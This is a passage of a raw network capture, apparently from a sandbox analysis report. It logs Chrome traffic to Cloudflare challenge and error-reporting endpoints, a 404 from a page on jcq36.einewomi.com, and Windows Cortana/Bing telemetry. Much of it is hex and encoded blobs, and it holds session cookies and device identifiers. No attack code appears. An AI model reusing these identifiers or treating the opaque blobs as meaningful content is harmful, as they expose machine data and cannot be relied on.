76 54 30 52 42 4a 7a 73 31 58 31 6f 6a 53 6c 39 48 61 31 34 79 4c 6c 42 30 Data Ascii: 54aGIpbiovnWKuLvBwZp/fYGFv8y7jaCKyqeOrp+pv4/Bxcyo0764rKC9wK6anNak2rnC5KrDwsrk8vOr493ntcCruePstPro0dq7+QHOCNvd6OoD3tXe2vwHzAcBAfITGfP5+Nzv/fwJI98lFyfuJgodA/YBHhwOKu36BCgBCRj3FSks+C8TNzQdGzgzNzE7QUVGHzobLR4REE8lTz5XKSUpWDI7KTAZLxwvT0RBJzs1X1ojSl9Ha14yLlB0
2024-04-24 21:07:39 UTC	686	IN	Data Raw: 32 61 37 0d 0a 64 49 47 78 74 5a 53 32 73 58 75 75 70 37 4b 37 76 35 69 78 64 72 69 45 77 73 58 4b 78 73 47 4c 69 4b 47 6a 70 62 2b 73 74 4d 36 6b 77 64 43 55 70 4a 43 76 6b 70 62 52 77 4f 44 41 71 39 44 69 75 74 43 30 6f 63 4c 42 76 4c 58 59 71 63 50 71 75 72 33 46 33 66 43 74 7a 75 6a 51 32 2b 2f 61 33 50 66 75 38 74 62 54 38 65 44 6c 42 2f 72 77 79 66 54 35 2f 73 66 6f 42 65 54 70 35 52 54 75 7a 78 6a 56 31 65 7a 72 45 42 51 4c 43 53 48 62 39 42 6e 35 48 68 50 6d 45 65 58 38 2b 75 73 48 44 79 4d 6b 49 76 72 79 4d 41 67 70 45 43 34 4f 45 2f 45 6f 4f 68 4d 62 48 30 41 62 4f 43 77 4e 47 6b 55 6b 53 44 38 65 4c 52 55 4c 4f 54 46 50 43 56 45 52 54 55 30 51 47 46 4a 56 44 55 68 55 4c 31 59 33 53 6d 45 66 4a 47 4d 7a 58 57 5a 57 4d 7a 67 71 50 43 59 75 4d 45 Data Ascii: 2a7dIGxtZS2sXuup7K7v5ixdriEwsXKxsGLiKGjpb+stM6kwdCUpJCvkpbRwODAq9DiutC0ocLBvLXYqcPqur3F3fCtzujQ2+/a3Pfu8tbT8eDlB/rwyfT5/sfoBeTp5RTuzxjV1ezrEBQLCSHb9Bn5HhPmEeX8+usHDyMkIvryMAgpEC4OE/EoOhMbH0AbOCwNGkUkSD8eLRULOTFPCVERTU0QGFJVDUhUL1Y3SmEfJGMzXWZWMzgqPCYuME
2024-04-24 21:07:39 UTC	174	IN	Data Raw: 61 38 0d 0a 4b 72 48 2b 67 6c 71 36 4b 69 49 65 46 64 48 2b 75 6a 4b 79 30 6d 49 36 63 6b 61 53 5a 6f 63 4b 44 75 38 71 59 6f 61 2b 70 70 4a 4b 53 30 4d 62 48 79 36 37 53 7a 4b 61 57 6d 63 69 65 6e 35 76 63 35 62 33 6b 6e 37 61 6c 31 71 57 73 72 4d 72 77 32 2f 4b 76 71 2f 44 6d 78 2b 53 7a 30 62 48 46 74 4e 76 33 76 4d 75 36 2b 75 33 6d 37 67 50 59 34 39 62 30 44 4f 66 32 34 2b 54 38 34 2b 45 46 34 74 2f 66 37 4e 4c 54 35 50 30 61 44 52 49 4e 41 64 34 64 45 68 76 6d 34 78 77 4a 2f 42 77 42 47 79 38 65 4b 4f 38 0d 0a Data Ascii: a8KrH+glq6KiIeFdH+ujKy0mI6ckaSZocKDu8qYoa+ppJKS0MbHy67SzKaWmcien5vc5b3kn7al1qWsrMrw2/Kvq/Dmx+Sz0bHFtNv3vMu6+u3m7gPY49b0DOf24+T84+EF4t/f7NLT5P0aDRINAd4dEhvm4xwJ/BwBGy8eKO8
2024-04-24 21:07:39 UTC	176	IN	Data Raw: 61 61 0d 0a 46 4b 53 77 75 41 67 4d 4f 4d 69 50 35 43 6a 59 58 50 52 55 39 48 76 76 39 44 79 45 41 47 45 55 6d 42 41 64 4e 4b 51 67 67 4d 45 6c 4a 4a 69 4e 41 57 56 67 76 4a 52 4a 53 4b 42 63 57 46 78 38 72 59 43 42 50 56 31 39 6b 50 56 6f 6e 51 6d 39 76 62 53 6b 76 58 47 56 32 5a 45 68 48 59 6b 52 63 62 56 64 65 55 6b 38 2f 50 6e 46 45 58 48 69 47 53 47 4e 39 52 34 4f 4e 66 30 2b 4c 62 4a 4e 4d 59 6e 52 50 54 32 6d 4b 55 46 57 46 62 46 74 57 63 71 4a 67 57 6f 39 66 57 47 46 38 64 47 52 6a 6d 61 32 4e 6b 4b 31 72 6f 0d 0a Data Ascii: aaFKSwuAgMOMiP5CjYXPRU9Hvv9DyEAGEUmBAdNKQggMElJJiNAWVgvJRJSKBcWFx8rYCBPV19kPVonQm9vbSkvXGV2ZEhHYkRcbVdeUk8/PnFEXHiGSGN9R4ONf0+LbJNMYnRPT2mKUFWFbFtWcqJgWo9fWGF8dGRjma2NkK1ro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49733	35.190.80.1	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:40 UTC	533	OUT	OPTIONS /report/v4?s=rsIKS%2BDlWE28DDWchbiKycV2qNHmjcgxpemQdnSxMuoAMZ1rnUQsQJGMdZ75mqSxaQl2qcAGyLFB1y114CorgepeUfg8hVFAEH9vVY2q7qK3NGSLyiSzTIMbpFLvgg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://jcq36.einewomi.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:40 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 24 Apr 2024 21:07:40 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49734	35.190.80.1	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:41 UTC	472	OUT	POST /report/v4?s=rsIKS%2BDlWE28DDWchbiKycV2qNHmjcgxpemQdnSxMuoAMZ1rnUQsQJGMdZ75mqSxaQl2qcAGyLFB1y114CorgepeUfg8hVFAEH9vVY2q7qK3NGSLyiSzTIMbpFLvgg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 434 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:41 UTC	434	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 36 37 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 6a 63 71 33 36 2e 65 69 6e 65 77 6f 6d 69 2e 63 6f 6d 2f 33 6c 77 7a 38 66 68 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 33 37 2e 32 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 Data Ascii: [{"age":0,"body":{"elapsed_time":675,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://jcq36.einewomi.com/3lwz8fh/","sampling_fraction":1.0,"server_ip":"172.67.137.23","status_code":404,"type":"http.error"},"type":"network-err
2024-04-24 21:07:42 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 24 Apr 2024 21:07:41 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49736	104.17.2.184	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:42 UTC	804	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8799105f5a5e09f7/1713992859511/9be289fbebc6b4b3a22797ac778fe8b1969b1f35e8eb77ad6b7438e982c1b885/yeAuYz4NAjBXHTy HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:42 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 24 Apr 2024 21:07:42 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-04-24 21:07:42 UTC	1382	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 6d 2d 4b 4a 2d 2d 76 47 74 4c 4f 69 4a 35 65 73 64 34 5f 6f 73 5a 61 62 48 7a 58 6f 36 33 65 74 61 33 51 34 36 59 4c 42 75 49 55 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gm-KJ--vGtLOiJ5esd4_osZabHzXo63eta3Q46YLBuIUAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-04-24 21:07:42 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49737	104.17.2.184	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:42 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1171231238:1713990317:E_uv8VEIvF7ePz7GD71W1gsYg6SqwvDL8AyFrjK0IDo/8799105f5a5e09f7/0156a4786a5aa7e HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:42 UTC	377	IN	HTTP/1.1 400 Bad Request Date: Wed, 24 Apr 2024 21:07:42 GMT Content-Type: application/json Content-Length: 7 Connection: close cf-chl-out: gkhSXYsjCzMakA/pTkpIcQ==$VIQEOiwnoPGek+UZs+th7g== cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8799107e98d80acd-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 21:07:42 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49741	104.17.2.184	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:42 UTC	775	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8799105f5a5e09f7/1713992859511/WtT2jcbnXI7j1g2 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:43 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:07:43 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8799108279d90ad1-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 21:07:43 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 35 00 00 00 34 08 02 00 00 00 a5 d8 e7 82 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR54IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49742	23.1.237.91	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:43 UTC	2148	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900D492 X-BM-CBT: 1696428841 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: DB0AFB19004F47BC80E5208C7478FF22 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900D492 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,staticsh X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 2484 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=2F4E96DB8B7049E59AD4484C3C00F7CF; _SS=SID=1A6DEABB468B65843EB5F91B47916435&CPID=1713992829018&AC=1&CPH=d1a4eb75; _EDGE_S=SID=1A6DEABB468B65843EB5F91B47916435; SRCHUID=V=2&GUID=3D32B8AC657C4AD781A584E283227995&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231004; SRCHHPGUSR=SRCHLANG=en&IPMH=986d886c&IPMID=1696428841029&HV=1696428756; CortanaAppUID=5A290E2CC4B523E2D8B5E2E3E4CB7CB7; MUIDB=2F4E96DB8B7049E59AD4484C3C00F7CF
2024-04-24 21:07:43 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-04-24 21:07:43 UTC	2483	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 33 36 34 34 46 44 37 34 44 46 31 36 36 31 38 46 30 38 46 37 45 43 30 33 44 45 35 35 36 30 30 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 37 35 32 32 38 31 35 36 37 30 33 41 34 30 44 35 42 39 37 45 35 41 36 38 33 36 46 32 41 31 43 45 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>3644FD74DF16618F08F7EC03DE556001</CID><Events><E><T>Event.ClientInst</T><IG>75228156703A40D5B97E5A6836F2A1CE</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-04-24 21:07:43 UTC	479	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: A153267E200847BABF51173E3FE756A0 Ref B: LAX311000113051 Ref C: 2024-04-24T21:07:43Z Date: Wed, 24 Apr 2024 21:07:43 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.57ed0117.1713992863.5b35807

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49744	104.17.2.184	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:07:43 UTC	917	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1171231238:1713990317:E_uv8VEIvF7ePz7GD71W1gsYg6SqwvDL8AyFrjK0IDo/8799105f5a5e09f7/0156a4786a5aa7e HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 28686 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 0156a4786a5aa7e sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/j2r0y/0x4AAAAAAAYAC32yuaG42rzP/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 21:07:43 UTC	16384	OUT	Data Raw: 76 5f 38 37 39 39 31 30 35 66 35 61 35 65 30 39 66 37 3d 2d 44 4e 64 6c 4b 39 5a 70 46 61 25 32 62 4e 4b 4c 44 63 48 43 37 72 34 35 72 24 63 70 33 48 33 47 64 4f 61 33 5a 33 52 64 43 4e 35 4b 4c 4e 33 2d 4b 33 41 4e 39 31 33 65 64 37 61 39 63 33 7a 39 64 50 44 34 33 6b 4a 66 33 39 36 39 33 43 48 33 72 64 39 35 58 35 78 4b 39 35 39 6a 33 49 4e 33 55 33 4e 61 33 71 54 50 43 39 44 33 79 33 6b 64 42 50 39 7a 6d 38 73 37 33 4c 64 4b 5a 33 6c 24 73 4b 5a 74 74 33 33 61 70 33 36 66 33 33 36 63 39 4e 33 71 64 33 6e 33 39 61 75 33 50 61 78 35 6c 39 67 33 2b 70 66 33 4b 52 77 24 54 63 55 33 39 4e 34 35 61 63 77 34 78 46 4b 30 76 52 35 4a 79 44 33 63 75 4e 33 43 69 31 39 37 46 74 67 52 63 78 4b 37 76 24 37 39 74 74 59 39 50 6a 72 37 33 7a 6f 6c 5a 57 71 77 7a 33 39 Data Ascii: v_8799105f5a5e09f7=-DNdlK9ZpFa%2bNKLDcHC7r45r$cp3H3GdOa3Z3RdCN5KLN3-K3AN913ed7a9c3z9dPD43kJf39693CH3rd95X5xK959j3IN3U3Na3qTPC9D3y3kdBP9zm8s73LdKZ3l$sKZtt33ap36f336c9N3qd3n39au3Pax5l9g3+pf3KRw$TcU39N45acw4xFK0vR5JyD3cuN3Ci197FtgRcxK7v$79ttY9Pjr73zolZWqwz39
2024-04-24 21:07:43 UTC	12302	OUT	Data Raw: 33 39 52 35 38 64 4a 4c 5a 4c 50 33 33 58 78 46 4e 61 33 2d 53 6e 53 30 45 43 5a 33 64 33 4c 33 35 64 39 70 33 63 33 4e 59 32 6f 4e 77 64 37 44 43 2b 33 2b 4c 37 70 33 46 64 38 33 33 34 33 48 33 76 33 43 34 43 4c 33 55 75 2b 4e 43 78 33 5a 64 33 70 39 46 33 43 33 63 70 39 45 33 6e 64 41 33 39 64 33 31 33 37 61 39 76 34 52 64 39 61 39 65 33 31 74 70 34 33 41 33 4a 64 76 45 33 2b 75 2d 48 31 35 39 34 33 74 64 2b 44 43 37 33 41 33 46 35 4b 4b 33 6d 35 50 64 43 41 64 7a 70 4b 72 39 6e 64 69 73 50 6a 75 48 33 70 64 4e 61 43 6e 33 30 33 39 4e 33 74 64 43 64 2b 70 39 64 33 64 64 46 74 33 74 64 4a 64 37 44 39 55 33 66 34 37 34 39 55 70 74 4a 24 73 33 6f 5a 32 73 46 34 4b 30 33 49 4a 24 73 4b 5a 33 6c 33 76 34 33 74 64 69 44 2b 24 43 37 33 32 64 41 4e 43 31 33 36 Data Ascii: 39R58dJLZLP33XxFNa3-SnS0ECZ3d3L35d9p3c3NY2oNwd7DC+3+L7p3Fd83343H3v3C4CL3Uu+NCx3Zd3p9F3C3cp9E3ndA39d3137a9v4Rd9a9e31tp43A3JdvE3+u-H15943td+DC73A3F5KK3m5PdCAdzpKr9ndisPjuH3pdNaCn3039N3tdCd+p9d3ddFt3tdJd7D9U3f4749UptJ$s3oZ2sF4K03IJ$sKZ3l3v43tdiD+$C732dANC136
2024-04-24 21:07:44 UTC	350	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:07:43 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-chl-gen: 82SubrTxg+mHk1nO0I+IUJcKiQk4zaI2O9XhHrU/fU+88iyzwcQdrSawLxUqv3Ld$Oar7oImUDZQxs61rf/G/Hg== vary: accept-encoding Server: cloudflare CF-RAY: 879910866b7aa984-LAS alt-svc: h3=":443"; ma=86400
2024-04-24 21:07:44 UTC	783	IN	Data Raw: 33 30 38 0d 0a 77 4a 5a 2f 79 36 4c 41 72 6f 6d 38 69 71 36 45 74 4d 6a 4b 71 37 4f 68 6f 39 57 53 78 37 66 5a 6c 73 76 61 7a 74 7a 50 6e 37 44 6d 34 75 44 4a 36 38 7a 47 75 63 72 4d 7a 72 37 52 73 4f 6a 52 36 74 44 77 78 74 76 78 74 66 72 77 75 50 58 61 76 37 36 33 42 39 58 33 2f 67 7a 55 34 37 38 4c 79 2b 33 63 33 67 50 78 38 75 48 7a 43 75 72 78 39 64 50 79 37 2f 76 59 38 67 2f 33 39 67 4d 65 39 2f 54 35 4c 41 6a 33 42 68 38 62 44 50 48 74 38 53 55 44 4c 53 45 59 4b 54 59 6e 44 54 51 6f 47 68 49 36 48 44 63 6b 4e 68 67 36 46 77 4d 6a 50 78 35 4f 4c 55 45 68 43 68 4a 48 45 55 34 31 53 53 70 47 4d 46 45 74 57 6b 6c 56 51 53 38 67 49 53 39 53 50 56 41 6a 4a 6d 68 56 61 69 52 63 4b 6d 74 6d 59 7a 39 76 56 31 5a 44 4e 55 52 76 57 7a 6f 77 57 6c 6c 56 65 6c Data Ascii: 308wJZ/y6LArom8iq6EtMjKq7Oho9WSx7fZlsvaztzPn7Dm4uDJ68zGucrMzr7RsOjR6tDwxtvxtfrwuPXav763B9X3/gzU478Ly+3c3gPx8uHzCurx9dPy7/vY8g/39gMe9/T5LAj3Bh8bDPHt8SUDLSEYKTYnDTQoGhI6HDckNhg6FwMjPx5OLUEhChJHEU41SSpGMFEtWklVQS8gIS9SPVAjJmhVaiRcKmtmYz9vV1ZDNURvWzowWllVel
2024-04-24 21:07:44 UTC	1369	IN	Data Raw: 31 31 63 64 0d 0a 78 2b 4c 4a 35 50 4d 56 34 4e 44 75 41 68 50 6e 2f 41 2f 35 43 76 7a 33 47 43 50 61 4a 68 51 68 35 77 6f 44 35 52 6e 73 34 2f 7a 70 4b 43 73 43 37 54 59 4e 42 67 30 73 4a 7a 41 47 4d 43 38 49 48 42 30 41 49 6a 34 77 46 68 63 7a 45 6b 73 68 51 45 67 61 49 69 74 51 49 53 59 4b 46 55 51 68 4b 55 67 59 4c 78 4d 79 53 43 77 64 4f 6a 6b 30 4d 56 41 68 4f 32 59 79 4e 54 31 5a 61 43 56 47 61 48 42 52 51 6b 78 41 4d 33 4e 71 59 6d 35 72 4d 7a 6c 32 64 58 4e 7a 56 33 5a 68 59 47 35 53 56 6e 35 53 53 6d 74 2b 6a 57 64 66 63 46 46 6d 63 4a 61 49 54 32 56 6f 65 34 74 35 61 48 36 4d 69 6f 31 71 66 58 4f 65 58 6c 2b 54 58 34 4b 6c 72 5a 57 4b 72 6d 36 63 61 6f 68 71 6b 37 57 69 72 4b 69 61 63 61 57 2b 6a 72 75 76 73 72 35 36 67 6e 75 46 76 4a 4b 57 74 Data Ascii: 11cdx+LJ5PMV4NDuAhPn/A/5Cvz3GCPaJhQh5woD5Rns4/zpKCsC7TYNBg0sJzAGMC8IHB0AIj4wFhczEkshQEgaIitQISYKFUQhKUgYLxMySCwdOjk0MVAhO2YyNT1ZaCVGaHBRQkxAM3NqYm5rMzl2dXNzV3ZhYG5SVn5SSmt+jWdfcFFmcJaIT2Voe4t5aH6Mio1qfXOeXl+TX4KlrZWKrm6caohqk7WirKiacaW+jruvsr56gnuFvJKWt
2024-04-24 21:07:44 UTC	1369	IN	Data Raw: 52 2b 2f 41 4f 36 41 2f 67 47 64 6e 6b 32 74 6b 59 43 75 77 4b 2b 76 45 57 45 2f 77 67 35 41 50 6a 39 2f 77 58 2b 2b 37 6e 43 77 48 77 41 69 30 78 39 51 4d 53 41 69 55 74 4a 68 73 39 4b 53 6c 42 4c 53 4d 74 52 51 59 58 45 51 4d 4c 54 52 74 4d 4f 6c 45 76 49 43 67 39 50 51 38 57 4a 30 4d 54 47 69 63 35 58 45 70 68 53 52 73 65 4d 55 56 43 55 54 59 6c 50 53 6c 49 4f 43 63 76 4c 6b 41 71 59 6c 30 31 53 54 5a 7a 4d 30 64 62 56 31 31 57 67 44 70 59 57 49 46 30 55 56 4d 2f 67 47 6c 37 57 55 79 4c 66 32 74 62 57 6c 74 73 61 6f 43 43 61 56 4f 46 61 45 32 5a 57 70 57 67 6d 6c 79 65 61 35 61 56 5a 56 32 55 61 57 53 6a 61 36 57 4d 6e 59 6d 6d 66 6e 75 69 71 72 4f 51 70 6f 36 70 72 36 57 33 66 58 32 35 77 4a 4b 2b 73 34 4f 7a 78 4a 69 44 71 70 6d 64 68 